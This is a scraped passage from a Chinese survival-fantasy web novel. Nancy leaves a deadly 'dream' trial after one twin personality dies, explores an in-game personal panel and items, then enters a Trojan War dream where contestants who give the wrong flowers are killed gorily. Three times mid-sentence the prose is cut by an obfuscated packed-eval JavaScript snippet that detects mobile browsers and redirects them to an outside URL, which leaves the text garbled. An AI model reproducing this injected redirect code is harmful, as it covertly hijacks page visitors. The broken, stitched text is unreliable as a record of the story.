陈安完全没有被戳穿的尴尬,他慢条斯理地站起身,摊手笑了笑:“Nancy小姐,在你问责前,请允许我做个声明,Lucy向你动手不是我示意的,在此之前,我并不知道她有二心。” 南柯对这个说辞不置可否:“你们是怎么认识的?” 事已至此,陈安没必要隐瞒:“黑罂粟派了很多特工进入这里,我进来前花了一大笔钱向这个组织进行雇佣,如果在‘梦境’中遇到他们的人,他们会为我提供保护。相信除了我之外,还有很多人也这么做了,毕竟一个未知的地方总是充满危险。” 南柯没什么情绪地笑了笑。有钱能使鬼推磨,纵使在这么一个诡异的空间里,金钱也能给人划分出三六九等,让一部分人拥有比普通人更多的特权。 黑罂粟是如此,想必蝶网中被派来【造梦空间】的特工也不止她一个。只是不知道有多少人和她一样是为“于尘”而来。 看南柯没说话,陈安接着道:“这个‘梦境’结束之后,如果真有什么奖励品,我绝对不会和诸位争夺。我和Nancy小姐并没有什么恩怨,我们之间,应该不是不死不休的关系吧?” 看他一副死皮赖脸好像认准南柯不会滥杀无辜的样子,乔茜嗤笑一声:“你争得过吗?” Lucy死后,陈安似乎格外好脾气。他笑了笑:“我只是表明态度,避免引起不必要的误会。” 乔茜冷哼一声,懒得再和他多说。 这时候,一直沉默的肖璐插进话来:“按照我们的分析,这个任务的要求是消除‘拷贝’,现在我们都已经消除了幻境中的另一个自己,按道理来说任务已经完成了,为什么‘梦境’还没有结束,系统也没有给出下一步提示?” 众人面面相觑,只有南柯和陈立阳看向了苏一和苏二的方向。 南柯语气平静:“想必,最先从幻境中醒过来的,是你们两位,而不是Lucy吧。” 以Lucy的性格,如果她最先醒过来,一定不会优先选择和别人合作,而是伺机埋伏,除掉每一个潜在的对手。除非,有人在她之前已经醒来,她失去了先机。 苏二的脸瞬间失去血色。 苏一轻轻拨开挡在自己前边的弟弟,露出身形。他淡淡道:“看来……你已经知道了。” “一开始只是猜测,只是到现在‘梦境’还没有结束,进一步印证了我的想法。” “你是怎么猜到的?” “你和你弟弟同时出现在这里,本身就是一个不寻常的点。”南柯抽丝剥茧,“即使你和他同时点击链接进入【造梦空间】,【细胞工厂】也不会将你们分配到同一个初始化房间。再加上,这里的房间运行规律复杂,你们在进入‘细胞核’之前就遇到彼此的概率极低。” 苏一提出疑问:“那你怎么知道,我们不是分开先后到达这里的?” 南柯神色不变:“从进入房间到现在,你弟弟从未对其他人表现出敌意,并且,你要杀掉我的时候,显然他不是很赞同。这样‘心软’的人,如果没有队友,他很难安全地走到这里。而你,在我们破解谜面的时候,你对你弟弟的能力极度信任,这种信任甚至带着一丝依赖的意味。所以我猜,你一个人的能力并不足以破解之前不同颜色房间里的谜题。” 她得出结论,“我想,你们从初始化房间开始应该就在一起,一个负责解谜,一个负责保护,互相配合最终走到这里。” 苏一笑了笑:“还有吗?” “最后一个点。虽然不知道每个人在幻境里都遭遇了什么,但即使是双胞胎,也不可能遭遇一模一样的幻境,更不可能将打破幻境的时间把控得相差无几。你们两人都以最快的速度先于Lucy从幻境中出来,只能说明……或许你们根本就没有进入过所谓的幻境。” “你真得很聪明。”苏一唇角泛起一丝苦涩,“不过现在,被你知道也无所谓了。” 白芒听得云里雾里:“没进入幻境?那是什么意思?” “意思就是,”陈立阳轻声接过话来,“苏一和苏二,本身就是同一个人。” “什么?”乔茜惊呼出声,陈安和肖璐也难以置信地看过来。 “主动进入【造梦空间】的人都是通过一条匿名发送的宣传链接。宣传语上说,这是一次‘意识的进化’。所以,我们的实体在现实世界陷入植物人的状态,如今在这里的,都是意识体形态。”南柯看向苏一,“一个人确实不能以两种身份同时出现,但,意识体却可以。” “你的意思是……双重人格!”陈安反应过来。 肖璐恍然大悟:“难怪,这样就说得通了。一个人共有两个意识体,本身就是一种‘拷贝’,自然不需要进入幻境。”她眼神复杂地看向苏一两人:“所以,我们要通关的话……” 苏一和苏二只能有一个活着出去。 几道意味不明的视线打在苏一兄弟身上。 苏二眼眶发红,紧紧攥着苏一的胳膊,似乎又回到南柯等人初见他时的样子,天真中透着一丝无措。他有一种强烈的预感,如果这次松开手,哥哥就会永远消失。 苏一笑着拍了拍他的手以示安抚,而后缓慢道:“Lucy说,这个‘梦境’结束会奖励一个可以保命的道具,本来想着如果努力一些,让小苏拿到这个道具,以后就算我不在了,他也可以多一些生存的机会。现在看来,也实现不了了。” 没有人在这个时候插话。谁都能听出,苏一言语间已经有求死之心,他射向南柯的那枚袖箭也没了还回去的必要。 苏一把最后的时间留给苏二:“傻瓜,别哭了。你就是我,我就是你,不要想着用自己的死换我活下去,我本来就是为了保护你而生。” 他想起和苏二共享的从前的记忆,轻声说:“以后不会再有人把你关起来了,那对从福利院把你带回家却又对你百般折磨的父母,你已经离开他们很久了。答应我,如果能够出去,以后的小苏一定要勇敢地活在阳光下。” 他的小腹处不知何时已经插上了足以致命的匕首,生命力伴随着鲜血逐渐流出他的身体。但他却仿佛感受不到疼痛,语气温柔而遗憾:“感到害怕的时候,就想想哥哥吧。”他最后指了指苏二心脏的位置,“我只是不在你身边了,但是,我会永远在这里陪着你,等你长成快乐的大人。” “哥哥!”少年凄厉的喊声像小兽受伤时发出的绝望呜咽。他紧紧抓住苏一的手试图留住他,但那只手掌还是逐渐僵硬下去,最终失去最后一丝温度。 为了保护他而诞生的哥哥,同样为了保护他永远留在了这个噩梦一般的空间里。 乔茜的语气罕见地有些低沉:“为什么会是这样?”明明苏二已经很可怜了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578994|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有人能回答她。 南柯说不出是被培养成冷血的特工更幸运,还是遭遇残忍的养父母更幸运。某种程度上,她与苏二产生了共鸣,“活在阳光下”,于她而言同样是求而不得的东西。 正出神,她突然感觉自己的手被一片温暖包裹。虽然那种温暖的感觉很快抽离,但仍在她冰凉的手背留下些许痕迹。 她回头,陈立阳琥珀色的瞳孔里温柔地映出自己的倒影。 “姐姐,不要难过。”他声音很轻,却仿佛有神奇的力量,将南柯的心安抚平静。 那一瞬间,南柯脑中宛若有一道惊雷划开漆黑夜幕。 Chen,陈。 她目光灼灼地看着陈立阳,问:“你喜欢白色风信子吗?” 陈立阳脸上露出不似作伪的迷茫,似在疑惑为什么她会突然问起这个没头没脑的问题:“风信子?” 不过,对于南柯的问题,他还是认真回答:“说不上喜不喜欢,印象里是种很素净的花吧。怎么突然问这个?” 果然,哪有那么巧的事。 南柯摇摇头,“没什么。我们应该马上就能从这个‘梦境’里出去了。” 她的话音刚落,熟悉的系统提示音果然响起:“恭喜各位成功通过【细胞工厂】的最终试炼‘KILLTHISCELL’,穿越梦境数量+1。这也意味着您通过了【造梦空间】的初次筛选,可以获得继续穿越梦境的资格。” “根据各位在本‘梦境’中的表现,【造梦空间】将为您派发相应的积分和道具奖励。请注意,为了保证公平性,只有通过‘初次筛选’的‘梦境’会派发道具,这是您唯一一次获得可以在所有‘梦境’中通用的道具的机会。” “此外,每个‘梦境’穿越成功后,都会爆出特殊奖励【幻梦冰晶】。该奖励为徽章性质,每个‘梦境’仅有一枚,用以表彰优秀的应试者。 “不同‘梦境’中产生的冰晶会带有不同的附加功能。本‘梦境’中产生的【幻梦冰晶】可为拥有者抵挡一次致命伤害。” “奖励的归属,由通过‘梦境’的应试者自行决定。” 半空中,一枚透明的雪花状冰晶凭空出现。冰晶中心丝丝缕缕地放射出极细的蓝色丝线,像眼睛瞳孔周围的虹膜,神秘又深邃。 苏二目光呆滞地搂着苏一已经僵硬的身体,对周遭的一切置若罔闻。肖璐和陈安目光灼灼地盯着【幻梦冰晶】,但碍于南柯在场,最终也没有出手争夺。 南柯看向陈立阳三人。 白芒连忙摆手:“我能蒙混过关已经知足了,奖励我不要。” 乔茜耸耸肩:“我也不要,就按照一开始说好的,带我通过‘梦境’就好,奖励归你们。” 南柯点点头,看向陈立阳:“小孩儿,那你拿着吧。”保命的道具,小孩儿应该比她更需要。 陈立阳没说什么,随意抬起手将冰晶握在手里。 下一刻,系统的提示音再次响起:“梦境【细胞工厂】将在十秒钟后关闭,请各位应试者做好准备。” “倒计时10……” “9……” 南柯和三个临时组队的队友道了声“注意安全”,不知道下次还有没有机会再见。目光落在陈立阳身上时,她想到那个共享命运的道具,视线不禁多停留了几秒钟。 逐渐模糊的梦境场景中,她看到陈立阳朝她走过来。小孩儿轻轻拉了拉她的手,并用口型说了一句话。 南柯还没来得及回应,蓝色房间便连同房间里的其他人一起消失得无影无踪—— 她再次回到了最初那个透明的玻璃房间里。窗外,是朝四面八方飞速流窜的蓝色光线。 她手心里,安静地躺着一枚雪花状的冰晶。 19. 个人面板 南柯偏头看向背后,被袖箭刺中心脏的尖锐痛感已经完全消失。她抬起右手,果然,手心上的擦伤也恢复如初。看来,每次通过“梦境”,在“梦境”中受的伤就会自动痊愈。 很快,房间里响起提示音:“您可以通过语音激活【个人面板】。” 南柯默念【个人面板】,她面前果然弹出一个透明的电子屏。 当前,屏幕最上方id的位置是一串随机数字,后边跟随着一个小铅笔按钮,等待用户进行编辑。 id下面紧随其后的是一个红色进度条,现在进度条只往前跑了一小步,后边标注着1/12的字样,看来是通过梦境的次数统计。 再下边一行是菜单栏,菜单栏里有五个选项,从左到右依次是【梦境分区】、【道具库】、【积分商城】、【通讯录】和【公共频道】。 初始化界面默认处在【梦境分区】,该版块下有四个子单元,分别是【自然】、【人文】、【神话】和【社会】。 南柯想到她刚刚经历的【细胞工厂】分类就是【自然】,于是先点进这个单元查看—— 里边大概有数百条“梦境”记录,每条记录最左侧是和该“梦境”内容相关的简图,简图左上角有些标注着“初筛梦境”,有些标注着“一般梦境”。简图的右侧是“梦境”的基本信息,包括当前状态、存活人数、等待人数等。 靠前的几十条记录都是“初筛梦境”,南柯往下滑动浏览,很快找到【细胞工厂】的记录。该“梦境”的简图是一个包含各种细胞器的细胞剖面图,当前简图是灰色。右侧信息中,当前状态的标注是“上轮已结束,待重新开启”,存活人数的标注是“7/1000”,等待人数的标注是“325/1000”。 她又浏览了其他的“初筛梦境”,有些状态和【细胞工厂】一样,有些显示为“进行中”。“进行中”的梦境没有“等待人数”的标注,存活人数的分母都是1000,分子还在不断变化。 她粗略看了看,标注“上轮已结束”的“初筛梦境”平均存活人数大概是15人,最高的一个是19人。绝大部分没有通过“梦境”的人结局可想而知。 再往下滑动,“一般梦境”的格式与“初筛梦境”基本相同,只是“梦境”的基数从1000变成了12。 南柯又查看了除【自然】外的其他三个子单元,情况大差不差。她对【造梦空间】大致有了一些概念—— 她刚进来时的混沌状态应该就是在等待【细胞工厂】的人数达到1000,从而达成梦境开启条件。 据白芒、乔茜、陈立阳三人所述,他们都是在【造梦空间】的宣传链接还没问世的时候因为某些意外被动进来的,但他们和自己排到了同一个“梦境”,说明“梦境”中的“应试者”很可能是随机分配,而不是按照进入【造梦空间】的先后顺序。 “初筛梦境”为自动分配,而“一般梦境”可以自己选择。只有通过“初筛梦境”,才能获得“一般梦境”的参与资格。 每个梦境都可以重复开启,吞噬一批又一批进入【造梦空间】的应试者。 南柯退回初始菜单栏,接着打开【道具库】的选项。该版块下有【徽章道具】、【线索道具】和【通用道具】三个子单元。 点进【徽章道具】,里边只有一条文字记录,正是陈立阳在最后关头塞到南柯手里的【幻梦冰晶】。点开来,里边是道具的图片与功能简介。剩余使用次数标注为1/1。 【线索道具】中也有一条文字记录,名为【神话-特洛伊战争】。在记录下方,有一段作为附注的小字:根据您在“初筛梦境”中的优秀表现,特随机奖励您一条关于“一般梦境”的线索。该线索利用得当可增加您在该“梦境”中的通关几率。 她继续点开【神话-特洛伊战争】,里边给出的线索是一副长卷油画,看风格很像西方十八九世纪的作品。从构图上看,油画从左到右分为四个部分,连起来讲述了一个完整的故事,结合“梦境”名称,应该就是“特洛伊战争”的起源。 想必,这个“梦境”破解的要点就藏在这幅油画中。 最后一个【通用道具】中的记录最多,足有五条,分别是【逆转沙漏】、【真理之页】、【友谊灵石】、【傀儡人偶】和【催眠之弦】,看上去都是实物道具。 南柯一一点开这些道具的介绍—— 时间是最不可回溯之物,【逆转沙漏】却可以带来额外的时间馈赠。 道具效用:可将所在“梦境”的时间回溯至十分钟之前。 剩余使用次数:1/1。 世上不存在绝对的真理,除非用【真理之页】进行书写。 道具效用:可指定一件事成为“梦境”中的既定事实。注意:这件事不能导致“梦境”主线发生偏离,也不能直接决定应试者或“梦境”人物的生死。 剩余使用次数:1/1。 “梦境”中不存在无缘无故的善意,但拥有【友谊灵石】的你会受到独特眷顾。 道具效用:可指定某一“梦境”人物,增加其对使用者的好感度。该道具在所处“梦境”中全程有效。 剩余使用次数:1/1。 【傀儡人偶】在不起眼的阴暗角落里蒙尘,但只要你召唤,他便会义无反顾挺身而出。 道具效用:可幻化为与使用者一模一样的替身,时效十分钟。 剩余使用次数:1/1。 睡个好觉吧,【催眠之弦】会为你编织一个充满幻梦的夜晚。 道具效用:可使指定人物陷入睡眠状态,时效十分钟。该道具可用于其他应试者,也可用于“梦境”人物。 剩余使用次数:3/3。 其中,【逆转沙漏】和【真理之页】听起来是功能比较逆天的道具;【友谊灵石】比较抽象,南柯在上一个“梦境”中没有遇到作为NPC的人物,所以道具的效用有待验证;而【傀儡人偶】和【催眠之弦】的作用相对来说比较直白。不过,这些道具具体怎么使用,还要结合“梦境”中的实际情况。 清点完道具,南柯退出去,又打开【积分商城】界面。 该界面最上方是用户的积分列表,很简洁,看着像个记录簿。当前列表中有三行记录,分别是: 初始积分|0 【细胞工厂】奖励积分|3000|备注:SSS级 当前总积分|3000 列表下方有一行附注的小字:积分可在通讯录好友之间相互赠送。 再下面,就是类似于购物网站的商品栏。里边的商品只有“个人休息区”一个类别,四条商品记录分别标注了【简陋】【普通】【高级】【奢华】四种标签,消耗的积分分别是300/天,500/天,700/天,1000/天。 在记录下方,有一段作为附注的小字:每次成功穿越“梦境”,您可在【造梦空间】的初始房间内免费休息一小时,之后则必须购买“个人休息区”的使用权限,进入休息区进行休息,否则,【造梦空间】会强行将您随机传入下一个“梦境”进行通关。 南柯想,这个设定真是既人性化又恶毒——积分越多,进入两个“梦境”之间可获得的休息时间就越长。只是,积分的多少和“梦境”中的表现挂钩,表现越差的人积分越低,可休息的时间越短,在死亡威胁无处不在“梦境”中就更难保持全盛的状态,从而进入恶性循环,导致更进一步的优胜劣汰。 她抿唇退出去,点进主菜单栏上的【通讯录】版块。 不出意外,目前这个版块还是空的。最下方有一个“添加好友”的按钮,点进去,屏幕弹出“请输入对方id”的提示。这个功能应该在之后的“一般梦境”中会用到。 最后一个版 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578995|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块是【公共频道】。南柯想到一些网络游戏中的公共频道可以和全服范围内的其他玩家进行对话,这个版块应该也有类似功能。 点进去,屏幕首先弹出一条警示:请注意,您可以在【公共频道】和其他应试者进行聊天或寻找队友共同穿越“梦境”,但任何人不得在包括【公共频道】在内的任何场合以任何形式提及自己曾经穿越过的“梦境”信息。否则,将被【造梦空间】直接抹杀!!! 这应该是为了防止应试者之间互通信息,造成“梦境”的难度降级。 南柯点击了下方的“我已知晓”按钮,进入了【公共频道】的聊天界面。按理来说,现在应该已经有很多应试者通过了“初筛梦境”,但聊天界面却一片空白,没有任何信息。 很快南柯便发现了原因——编辑信息的聊天框下边有一行附注的小字:每发送一条信息花费100积分,限50字。 显然,在【造梦空间】中,可以兑换休息区的积分十分珍贵,初始阶段几乎没人会用积分来发送消息。另外,当前一切状况都不明朗,应试者之间缺乏相互信任。 【个人面板】上大概就是这些功能。 南柯经过短暂思考,先进入【积分商城】花费了500积分购买了【普通】个人休息区一天的使用权。对她来说,她只需要一个地方做简单的过渡,自然不需要待太久,也不需要过于奢华。 点击“确认购买”按钮的那一刻,她周身的环境立刻发生变化。 视线再清晰时,她已经身在一间大概20平米的房间里。房间的格局有些像酒店房间,用半透明玻璃墙隔开浴室、卫生间和主卧。主卧里有一张大床、一个写字台、一把椅子、一张小茶几和一个小冰箱,冰箱里装有矿泉水和面包,可维持基本的生存。 这种程度的休息区对她来说已经足够了。 大致看了看房间的陈设,南柯再次召唤出【个人面板】。 她想了想,将自己的id改为在【细胞工厂】中随口编的名字“Nancy”。第一次进入“梦境”时没有经验,之后还是不要暴露自己的本名比较好。 她盯着自己的新id看了几秒钟,心念一动,调出通讯录中添加好友的界面,在其中输入“Chen”——屏幕弹出“用户不存在”的提示。 她又继续尝试了“于尘”、“尘”、“ChenYu”等id,仍然没有结果。 果然没这么简单。 算了,慢慢来吧。等后期看看【公共频道】的情况,或许可以发布一条寻人的积分悬赏信息。 既然当前没什么线索,那只能进入下一个“梦境”继续探索。 南柯回过头来再次仔细查看她的道具栏。“梦境”种类繁多,【通用道具】很难有针对性地匹配,只能在“梦境”中择机使用。比较有用的是【线索道具】,比起一无所知地进入未知“梦境”,提前知道“梦境”的相关内容,可以为自己争取更多主动权。 南柯心里有了决断。她休息片刻,在【梦境分区】中选择了【神话】版块,然后在众多与东西方神话相关的“梦境”中找到了【特洛伊战争】。 此时,【特洛伊战胜】的状态是“等待初次开启”,等待人数的状态是“9/12”。 点击“进入梦境”的按钮前,南柯突然想到在离开【细胞工厂】的时候,陈立阳无声对她说的那句话—— 他说:“姐姐,期待我们的下次见面。” 当时还不知道【造梦空间】的具体规则,但小孩儿语气笃定,仿佛已经预见了他们的重逢。 南柯轻轻弯了弯唇角。 她其实不太想在这个生死一线的空间里交朋友。见证朋友的死亡或者被朋友见证自己的死亡,都是让人遗憾的事情。 不过,如果有过交集的人在机缘巧合之下得以再次相遇……她愿接受这种命运馈赠的无上幸运。 20. 特洛伊战争(一) 南柯再次进入了混沌的状态,像进入【细胞工厂】之前一样,意识模糊,对外界失去任何感知,仿佛有温暖的胶质包裹着她的身体。 不知过了多久,周身的温热终于褪去。和煦的风拂面而来,她闻到了空气中浓郁的花香。 同时,熟悉的系统提示音在她的脑海中响起:“欢迎您再次进入梦境。” “梦境分类:神话。” “梦境名称:特洛伊战争。” “应试者数量:12。” “梦境穿越条件:存活,并在规定时间内完成终极任务。” “注意事项:终极任务将在成功抵达指定地点时公布。” “提醒:在规定时间内成功穿越梦境者,可依据梦境中的表现获得相应积分;穿越失败者,死。 “祝您好运。” 南柯睁开眼的一瞬间,仿佛有一个巨大的球形虚影在头顶一闪而过。等视线完全清晰时,球体已经消失不见。 她警惕地打量周围的场景—— 比起上个梦境中布景单调的房间,此时她的初始化位置竟是一片巨大的、看不到边际的花海。 周围开满五颜六色的花,有些是花树,有些是散落在花树下的草本花,不同种类的花色彩交织,错落有致,看起来明媚又耀眼。刚刚她所闻到的特殊香味就是无数种花同时散发出的香味组合成的混合花香。 很快,南柯便发现不对劲——她上次在【细胞工厂】中穿的衣服和在现实世界中一样,而现在,她身上的装扮变成了一身米白色的宽松长裙,两条藤蔓形制的绿色装饰带在胸前交叉而过,细细的麻绳在腰间盘绕一圈作为腰带,并在腰侧打了一个复古的绳结,多余的部分像流苏一样垂坠在裙摆。 南柯皱着眉抬手摸了摸头发。 不出意外,原本的短发变成了长发,并且在脑后绾成低低的发髻。鬓间垂下几丝卷曲的碎发,在阳光的照耀下折射出白金色。 这个梦境给出的线索是一副古老的西方油画,南柯想,她现在的穿着打扮应该就是十八九世纪欧洲女性的风格。 这是她有生以来第一次穿裙子——如果在这个虚拟空间中也算的话。她的第一想法是,宽大的裙摆会影响她出手的速度…… 按捺下心里的异样感,南柯的目光在周围扫视一圈。 此时,有几个人和她一样,散布在这片花海的不同位置,最近的一个就在十米开外。梦境同样为他们更换了符合地域和年代的服饰。 这些人很快互相看到彼此,在短暂的犹豫后,开始有人朝中间的位置汇合。 南柯想了想,不动声色地靠近人群。不一会儿,视线可及的六个人汇合在一起。 除了南柯外,六个人中还有一个女生,看年纪和自己差不多大。她的服装是碧绿色的一字肩长裙,深棕色的长卷发散下来,头顶戴着橄榄枝编制而成的环状头饰,衬得温婉动人。 另外四个是男人,男性的服饰同样有宽松的长摆,不过搭配上相符的挂饰和头饰倒也不显女气。 其中,有个二十岁出头的男生穿了件白色的宽松斗篷,斗篷从胸前斜跨而过,只是衣服似乎过于宽松了,总往下垂坠,他似乎有些害羞,红着脸不断拉扯斗篷的位置,防止过于暴露。因为他动作过于频繁,其他人不禁多看了几眼,男生将头埋得更低。 不多时,一个面色冷淡的、穿蓝色长衣的男人先开口:“这个梦境有十二个人,应该还有六个人在别处,我们先汇合?” 众人没什么意见。 绿色长裙的女生举手:“刚刚我在那边看到一条小路。” 蓝衣男人看了她一眼,冷淡的神色稍微柔和了些:“那我们过去看看,或许要沿着小路走。” 南柯没发表意见,不远不近地跟在队伍末尾。距离他们大概五十米左右的地方果然有条隐在花丛里的小径,路边有个方向指示牌。 蓝衣男人率先朝路标指示的方向向前走,众人一起跟上去。 大概走出五百米,穿白色斗篷的男生说:“我们好像是在走上坡路。” 南柯点头:“确实,走久了就能发现,地势在逐渐升高。” 白色斗篷接过话来:“或许……是在上山吗?我对特洛伊战争有些了解,是个有名的希腊神话故事。在希腊神话里,众神居住的地方就是一座山,叫……” “奥林匹斯山!”蓝衣男人和他同时开口。 绿裙女生:“那应该是了,或许这个梦境的考核就在神殿里。” 白斗篷男生:“不知道神话类的梦境要怎么通过,不会真的有超能力吧?” 蓝衣男人:“试试就知道了。” 他们继续往前走,又走了大概五百米,终于看到了剩下的六个人。其中有两个女生四个男生,穿着打扮和南柯等人差不多。此时,他们正站在一扇金色大门前,门大概有五米高,此时大门紧闭,门所在的平面弥漫着一层浓重的雾气,像一层无法穿透的雾墙,阻隔了众人前进的道路。 南柯几人快步走过去。 走近以后,她心头猛地一跳——她在那六个人中看到一张熟悉的面孔,不久前,这个人刚刚把可以保命的【幻梦冰晶】偷偷交到她手里。 此时,陈立阳穿着优雅的米白色半袖长衣,腰间束着一条三指宽的金色腰带,中央垂下两条做工精湛的金属流苏。他白金色的短发很有层次地交叠,像神话画册中的西方贵族。 少年避开众人的视线,朝南柯眨了眨眼睛。南柯立刻会意,不知道之后是什么情况,现在最好不要暴露他们认识的事实。 汇合后,蓝色长衫的男人再次开口,隐隐有成为领头人的架势:“我们接下来要一起穿越这个梦境,不如先互相认识一下?” 一个身穿红色无袖长衫的男生切了一声:“没必要吧,也不是来交朋友的。” 蓝色长衫面色不改:“只是一个代号,方便交流,可以不用真实姓名。我先说,我叫林易,大学教授,主要教的课是西方艺术史,所以对这个梦境的背景大致有些了解。” 进来的人有些是因为积分耗尽才被强制传入梦境,并不都是主动选择。听到林易对这个梦境比较了解,看他的眼神都热切了许多。 绿裙女生接着开口,言简意赅:“我叫秦萝,做服装设计的。我听说过特洛伊战争,是比较富有浪漫主义色彩的一个神话故事,”她笑了笑,“如果无法通关,死在众神之地应该也不错,所以我就选这个梦境了。” 在她之后,众人也不再拘谨,纷纷进行自我介绍。南柯注意到,一开始呛声的红色无袖男生叫蒋威,是个游戏主播;白色斗篷的男生叫叶帆,是个小说家。 南柯想着要编个什么名字和职业,就听陈立阳道:“我叫杨黎晨,还在读大学,大家多多关照。” 这是编也懒得编了。 南柯想起了上个梦境中的苏一和苏二,心头一动,随口道:“我叫南一,CEO助理。” 她看起来确实干练,没人对这个职业表示怀疑。 十二个人很快介绍完。 正当林易想要再次开口时,眼前一直紧闭的金色大门突然无声而缓慢地向两侧打开,聚拢在门前的雾气中传来女孩子们的欢声笑语。 雾气渐渐散去,露出门后的情形——三个身穿不同颜色衣裙的漂亮少女正在手拉手圈成一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578996|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个圈快乐地舞蹈,除了衣服和头饰,三个人长得几乎一模一样。 大门完全洞开后,少女们的舞蹈终于停下来。 身穿绿色衣裙的少女发现了众人,提着裙摆优雅地走过来:“欸,你们是要上山吗?”她声音空灵如潺潺流水,明明是西方人的长相,话语内容落在众人耳中却是地道的中文,应该是系统自动进行的翻译。 林易想了想,谨慎地回答:“尊贵的神女,你们好。我和我的伙伴确实想要上山拜谒众神。” 身穿红裙的少女迎上来:“神山不能轻易放人类进来,我们要考考你们~怎么考呢……”少女似乎有些烦恼。 “看在他们诚心拜谒,考核就简单些好了~”蓝裙少女接过话来。她看向十二个应试者,“不如……你们每个人都送给我们三姐妹一人一株花,如果我们喜欢谁送的花,就准许他通过,怎么样?” 绿裙少女十分满意这个提议。她歪头:“好主意!不过,还要增加一些限定条件。”她纤手指了指众人,“你们按照顺序来送花,前边的人已经送过的花不能再重复赠送。”她神秘地眨眨眼睛,“另外,第一个送出符合我们心意的鲜花的人,可以得到特殊奖励哦~” “就这么办!”红裙少女和蓝裙少女同时开口附和。 说完,三姐妹就兴致盎然地看向应试者们。 南柯心想,这应该就是这个梦境的第一个考验了,似乎和她得到的线索图没什么关系,可能是因为还没接触到终极任务。 林易陷入沉思之中,许久没说话。蒋威有些不耐烦:“送个花,不是很简单的事吗?” 林易面无表情地瞥他一眼:“那你先请吧,我想没人和你争抢。” 蒋威哼哼两声,不说话了。他又不傻,这些梦境里可是会死人的,谨慎一些总没错。 场面短暂陷入僵持。 三姐妹也不催促,在原地耐心等待。 终于,有个身穿黄色长衫的男人实在受不了这种氛围,率先走去花园。男人名字叫方元,南柯记得他说自己是个包工头,莫名其妙被卷进这里,虽然凭借运气在“初筛梦境”中活了下来,但感觉自己已经快要被逼疯了。 方元想了想,在花海里精挑细选,最后选了三株造型独特而美丽的百合。 南柯隐约记得她似乎在某个企业高管的办公室里见过这种花,嘉兰百合,百合中的名贵品种,开花时花瓣像火焰一样向上翻卷,从下到上由黄色慢慢过渡成鲜艳的红色,确实在整个花园中是格外耀眼的存在。 众人的目光紧紧跟随着方元,神色紧张地看他将手里的三株花分别送给三个少女。 三个少女对视一眼,绿裙少女和蓝群少女遗憾地摇摇头,异口同声:“这不是我喜欢的花儿。” 方元脸色瞬间变得僵硬。 他转身,想回到众人之中等待下一次再进行赠送,然而,身体已经转过去,头的朝向却没有变—— 在众目睽睽之下,他的脖子直接扭曲了一百八十度,头身分离。 断口处,一株小绿苗从新鲜血肉中钻了出来,而后发出咀嚼的声音,通过蚕食他的身体,快速长成高大的花枝。浓稠的鲜血沿着花枝渗入棕色的土壤里。 在他的脑袋被完全蚕食的那一刻,花枝顶部开出一朵硕大的嘉兰百合。 一个活生生的人,顷刻间变成了一株了无生机的鲜花。 现场有几个人忍不住干呕起来。 然而,三个姐妹却对眼前的血腥场景浑然不觉。 绿裙少女一挥手,将面前的花移动到花海不起眼的角落里。她眼神天真地看向众人,声音清泠如天籁:“下一个谁来呀?” 21. 特洛伊战争(二) 动听的声音此刻却仿佛催命的阎王帖,周遭美好的花海给众人带来的虚假松弛感瞬间消失殆尽。 南柯皱着眉思考方元送的花为什么是错的。 他送出三朵同样的花,绿裙少女和蓝裙少女都表明不符合自己心意,但红裙少女却没说话,说明她是喜欢嘉兰百合的。 难道……规律是花的颜色必须和少女衣裙的颜色相对应?但这种规律会不会过于简单? 她正想着,蒋威已经从人群中站出来,仿佛生怕别人和他争抢:“下一个我来!”他的目光得意洋洋地在众人之间扫视一圈,看上去胜券在握。 只见他快速走到花园里,从中摘了一朵绿菊、一支玫瑰和一捧绣球,颜色分别对应绿色、红色和蓝色。果然,方元想到的也是颜色的规律。 他带着花兴高采烈地走到三姐妹跟前,将对应她们衣服颜色的花分别送给每个人,然后满怀期待地等待奖励。 南柯心里浮现出不好的预感。 果然,三姐妹收到花,和刚刚的反应别无二致。 绿裙少女和蓝裙少女遗憾地摇摇头,异口同声:“这也不是我喜欢的花儿。” 蒋威瞬间面如死灰。 他睁大眼睛,眼里盛满惊恐,一步一步地往后退。他不敢回头,生怕一个扭头的动作,自己就和刚刚的方元一样头身分离。 然而,梦境的规则不因他的动作而改变。 很快,他遭遇了和方元一样的事情——细小的幼芽从他的脖颈处钻出来,生生将他颈间的皮肤撕扯开来。 “啊!别……别杀我!我……不想死!我不想死啊!”蒋威捂着自己的脖子凄厉地叫喊着,声音因疼痛和恐惧而变得扭曲。 然而,没人知道如何从这种非自然的神力下将他救下来。他的喊声渐渐微弱下去,从喉咙钻出来的玫瑰花吞噬了他的尾音。 